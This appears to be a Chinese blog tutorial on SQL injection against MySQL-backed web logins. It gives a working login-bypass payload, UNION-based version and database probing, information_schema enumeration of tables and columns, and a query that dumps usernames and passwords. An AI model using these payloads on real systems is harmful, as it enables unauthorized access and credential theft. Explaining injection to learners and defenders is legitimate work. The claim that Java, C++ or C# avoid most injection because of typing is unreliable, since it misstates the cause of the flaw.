前言
SQL:
SQL(Structured Query Language) 是结构化查询语言的意思,用来操作查询所有关系型数据库,非关系型数据库虽然也可以存储用户的信息,但查询检索效率远低于关系型数据库,所以关系型数据库就成为存储用户数据的首选。非关系型数据库通常用来存储大数据,结构化数据,指纹,面容特征等信息,也非常重要
SQL 又分为以下四种数据库操纵语言
DQL:数据库查询语言
DML:数据库操作语言,执行添加,删除,修改
DDL:数据库定义语言
DCL:数据库事务语言
进行SQL注入,SQL语句的语法要非常熟练
Mysql中有几张默认很重要的表,必须要认识:
information schema :它存储了关于数据库、表、列、索引、用户权限等元数据信息。
mysql :该数据库存储了MySQL服务器的用户权限、密码、角色等信息。它包含了多个系统表,用于管理和控制用户权限和访问控制
performance_schema:该数据库用于存储MySQL服务器的性能监控数据。它包含了多个系统表,如events_waits_current、threads、memory_summary_global_by_event_name等,用于收集和展示MySQL服务器的性能指标和统计信息
sys:该数据库是MySQL 8.0版本引入的,用于提供一种更方便的方式来查询和分析数据库的性能和状态。它包含了多个系统视图和存储过程,如sys.user_summary sys.schema_table_statistics等,用于查询和分析数据库的性能和状态信息
认识SQL注入:
度娘解释
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
翻译过来一句话就是:
攻击者通过恶意拼接SQL语句串,进行提交从而达到绕过程序代码中定义的权限,非法获取到数据库、表等信息。
在sql注入方面,用Php写的网站贡献最大,由于他是弱类型数据的语言,在传递数据类型时可以进行自由转换,这就导致SQL注入的注入点会非常的多,而使用强类型数据语言 Java,C++,C#会规避绝大部分的SQL注入漏洞。
SQL注入:
SQL注入分为很多种,有联合注入、盲注、布尔注入、报错注入、时间注入、堆叠注入、二次注入、宽字节注入、cookie注入等等等。当然 这些注入的原理都一样
下面讲一个最常用的绕过登录进行SQL注入 :
通常你的登录验证SQL是这样的,
Select*from[用户表]where username='[账号]'and password='[密码]';
正常传入应该是这样:
Select*from users where username='hyd'and password='root130';
但如果我在传入的值username中加点料 hyd'; -- ,密码随便输 就变成这样啦
Select*from users where username='hyd';--' and password='111111' ;
-- 和 # 在sql中是注释的意思,他在执行的时候会忽略掉后面的部分,这样密码就会不起作用
接着使用联合查询union传入 hyd' union select version(),database(); --
Select*from users where username='hyd'unionselect version(),database();--' and password='111111' ;
version和database会查出你当前项目数据库的版本号和所用数据库名称。
接下来根据数据库名查出库中所有的数据表,这里select后的四条数据需要在查版本号之前进行测试得出字段的数量
unionselect1,group_concat(table_name),3,4from information_schema.tableswhere table_schema ='【数据库名】'
查出所有数据表后,观察表名,带user,admin 字样的表,都会成为查询的目标,
接着查询目标表的列名,
unionselect1,2,3,column_name from information_schema.columnswhere table_name='users'and table_schema=database()#
得到列名后,就可以根据列名得到想要的信息。比如 查询用户账户,密码以及所有字段内的信息。
1' union select id,username,password from users#
如果该表中有管理员的账号密码,那就等于拿到了通往系统后台大门的钥匙,攻击者通过正常登录,就可以为所欲为了。因为系统管理员通常拥有最高权限,做的所有操作一般都不会被限制
下一篇会讲靶场实战训练和预防SQL注入